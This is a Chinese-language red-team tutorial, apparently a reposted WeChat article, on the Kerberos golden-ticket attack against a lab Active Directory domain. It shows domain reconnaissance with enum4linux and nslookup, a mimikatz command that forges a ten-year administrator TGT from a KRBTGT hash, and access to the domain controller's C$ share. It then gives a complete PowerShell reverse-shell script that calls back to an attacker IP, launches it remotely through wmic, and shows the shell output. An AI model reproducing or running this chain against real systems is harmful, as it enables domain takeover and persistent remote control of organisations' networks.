什么是金票?
在继续之前,先简单回顾一下 Microsoft Kerberos 架构:
![红队视角之黄金票据(三) 红队视角之黄金票据(三)]()
为了使用 Kerberos 协议访问 Windows AD 网络上的资源,首先您必须获取 TGT 票证,您将使用它来请求所请求服务 (TGS) 的票证。票证由在域控制器上运行的 KDC 服务器服务传递。
知道了?这里出现了“金票”攻击,它允许您离线创建伪造的 Kerberos 票证授予票证 (TGT),以获取未经授权的访问,冒充任何域用户,并且有效期为 10 年或只要您选择!
创建这张金票需要什么?
1.域名
2.AD 域安全标识符 (SID)
3.有效的用户名(当然是管理员!)
4.KRBTGT 账户的哈希值
域名和域不是问题,例如您可以在 Linux 机器上使用“enum4linux”工具(您只需要 DC 的 IP 地址):
|
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Feb 14 22:10:13 2017 ========================== | Target Information | ========================== Target ........... 10.1.3.40 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ======================================================= | Enumerating Workgroup/Domain on 10.1.3.40 | ======================================================= [+] Got domain/workgroup name: DUMMYCOMPANY =============================================== | Nbtstat Information for 10.1.3.40 | =============================================== Looking up status of 10.1.3.40 SERVER2012DC - B Workstation Service DUMMYCOMPANY - B Domain/Workgroup Name DUMMYCOMPANY - B Domain Controllers SERVER2012DC - B File Server Service DUMMYCOMPANY - B Domain Master Browser MAC Address = 08-00-27-DC-6C-54 ... ... ============================================== | Getting domain SID for 10.1.3.40 | ============================================== Domain Name: DUMMYCOMPANY Domain Sid: S-1-5-21-3534665177-2148510708-2241433719 [+] Host is part of a domain (not a workgroup) ========================================= | OS information on 10.1.3.40 | ========================================= [+] Got OS info for 10.1.3.40 from smbclient: Domain=[DUMMYCOMPANY] OS=[Windows Server 2012 R2 Datacenter 9600] Server=[Windows Server 2012 R2 Datacenter 6.3]
|
由于您以匿名用户身份连接,因此您会收到许多“访问被拒绝”的信息,但所有必要的内容都会交付给您
为了获取域的 FQDN,只需尝试指向 DC 上托管的 DNS 服务器的简单反向 nslookup:
|
# nslookup > server 10.1.3.40 Default server: 10.1.3.40 Address: 10.1.3.40#53 > set q=ptr > 10.1.3.40 Server: 10.1.3.40 Address: 10.1.3.40#53 40.3.2.10.in-addr.arpa name = server2012dc.dummycompany.local
|
知道了?现在是最后一个,KRBTGT 哈希,但首先,这个帐户是什么?
“KRBTGT 帐户是本地默认帐户,充当密钥分发中心 (KDC) 服务的服务帐户。该帐户无法删除,也无法更改帐户名。无法在 Active Directory 中启用 KRBTGT 帐户。”
是的,我们有 KRBTGT 帐户密码的哈希值,还记得吗?
我们唯一可能面临的问题是,虽然“krbtgt”的密码被更改,但由于此操作对整个域的严重影响,情况可能不会如此。仅当发生安全问题(例如“金票”证据 )时,管理员才会更改此密码
简而言之,我们有以下信息:
1.域名:DUMMYCOMPANY
2.用户名:管理员
3.SID:S-1-5-21-3534665177-2148510708-2241433719
4.KRBTGT 哈希:3003567af268a4a94e26f410e84353f1
打造“金票”
现在是将我们上面讨论的所有内容付诸实践的时候了。首先,启动安装了“ mimikatz ”的 Windows 盒子!
在 Windows(虚拟或物理)计算机上,使用本地管理员权限登录,打开提升的命令提示符并启动“mimikatz.exe”
|
mimikatz # kerberos::golden /admin:Administrator /domain:DUMMYDOMAIN.LOCAL /sid:S -1-5-21-3534665177-2148510708-2241433719 /krbtgt:3003567af268a4a94e26f410e84353 f1 /ticket:admin.krb /ptt User : Administrator Domain : DUMMYDOMAIN.LOCAL (DUMMYDOMAIN) SID : S-1-5-21-3534665177-2148510708-2241433719 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: 3003567af268a4a94e26f410e84353f1 - rc4_hmac_nt Lifetime : 2/14/2017 11:08:35 PM ; 2/12/2027 11:08:35 PM ; 2/12/2027 11:08:35 P M -> Ticket : admin.krb * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file !
|
因此,我们告诉 mimikatz 在 DUMMYDOMAIN.LOCAL 上为用户管理员生成一张包含所有必要参数的“金票”,并将其生成到文件中以供以后使用。最后一个选项 /ptt 告诉 mimikatz 直接在 memroy 中加载新创建的票据,为“传递票据”操作做好准备。
现在,我们可以退出 mimikatz 并从我们的命令 shell 列出票证:
|
C:UsersAdministrator>klist Current LogonId is 0:0x219fd Cached Tickets: (1)
Server: krbtgt/DUMMYDOMAIN.LOCAL @ DUMMYDOMAIN.LOCAL KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent Start Time: 2/15/2017 7:14:56 (local) End Time: 2/13/2027 7:14:56 (local) Renew Time: 2/13/2027 7:14:56 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0x1 -> PRIMARY Kdc Called:
|
伟大的!终于我们有了“金票”,看看有效期,10年!!
有效吗?让我们尝试列出域控制器 C: 驱动器的内容。但首先,将服务器的名称映射到主机文件中或将 DNS 服务器直接指向域控制器,这取决于您!如果您尝试通过 IP 地址映射资源,NTLM 身份验证将生效,您将得到的只是“访问被拒绝”。
|
C:UsersAdministrator>dir \server2012dc.dummydomain.localc$ Volume in drive \server2012dc.dummydomain.localc$ has no label. Volume Serial Number is A2D7-CEAD Directory of \server2012dc.dummydomain.localc$ 08/22/2013 07:52 AM PerfLogs 08/22/2013 06:50 AM Program Files 01/13/2017 10:35 PM PProgram Files (x86) 01/27/2017 03:57 AM temp 01/27/2017 02:43 AM test 01/27/2017 01:37 AM Users ...
|
惊人的!我们列出了属于域控制器“server2012dc”的C:驱动器的内容,我们拥有域管理员权限!
现在让我们更进一步,使用管理员权限访问文件系统(本地或共享)是一个很好的结果,但我们想要更多.. 与域控制器交互的 shell 怎么样?这将是一件大事……可能吗?是的当然!
但这并不那么容易:我们如何获得使用 kerberos 票证进行身份验证的远程 shell?
为了实现这个目标我们需要什么?
下面就来发挥一下奇妙的 MS 内置工具“wmic.exe”。
这个工具是WMI (Windows Management Instrumentation)的命令行前端,你猜怎么着?可以在通过 kerberos 进行身份验证的远程计算机上生成进程!
我们将在域控制器上复制此反向 shell 脚本(假设您的 IP 是 10.1.2.40):
|
>c:usersadministrator>type rev.ps1 $client = New-Object System.Net.Sockets.TCPClient('10.1.2.40',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() c:usersadministrator>copy rev.ps1 \server2012dc.dummycompany.localc$windowstemp
|
之后,我们可以从 wmic 调用 powershell 脚本(记住在 Linux 机器上启动“nc -lp 8080”!):
|
wmic /authority:"kerberos:DUMMYDOMAINSERVER2012DC" /node:server2012dc process call create "powershell -f c:windowstemprev.ps1"
|
我们的终端中查看:
|
connect to [10.1.2.40] from server2012dc.dummydomain.local [10.1.3.40] 62471 PS C:Windowssystem32> PS C:Windowssystem32> PS C:Windowssystem32> whoami dummycompanyadministrator
|
我们做到了,结束。
原文始发于微信公众号(红队笔记录):红队视角之黄金票据(三)
评论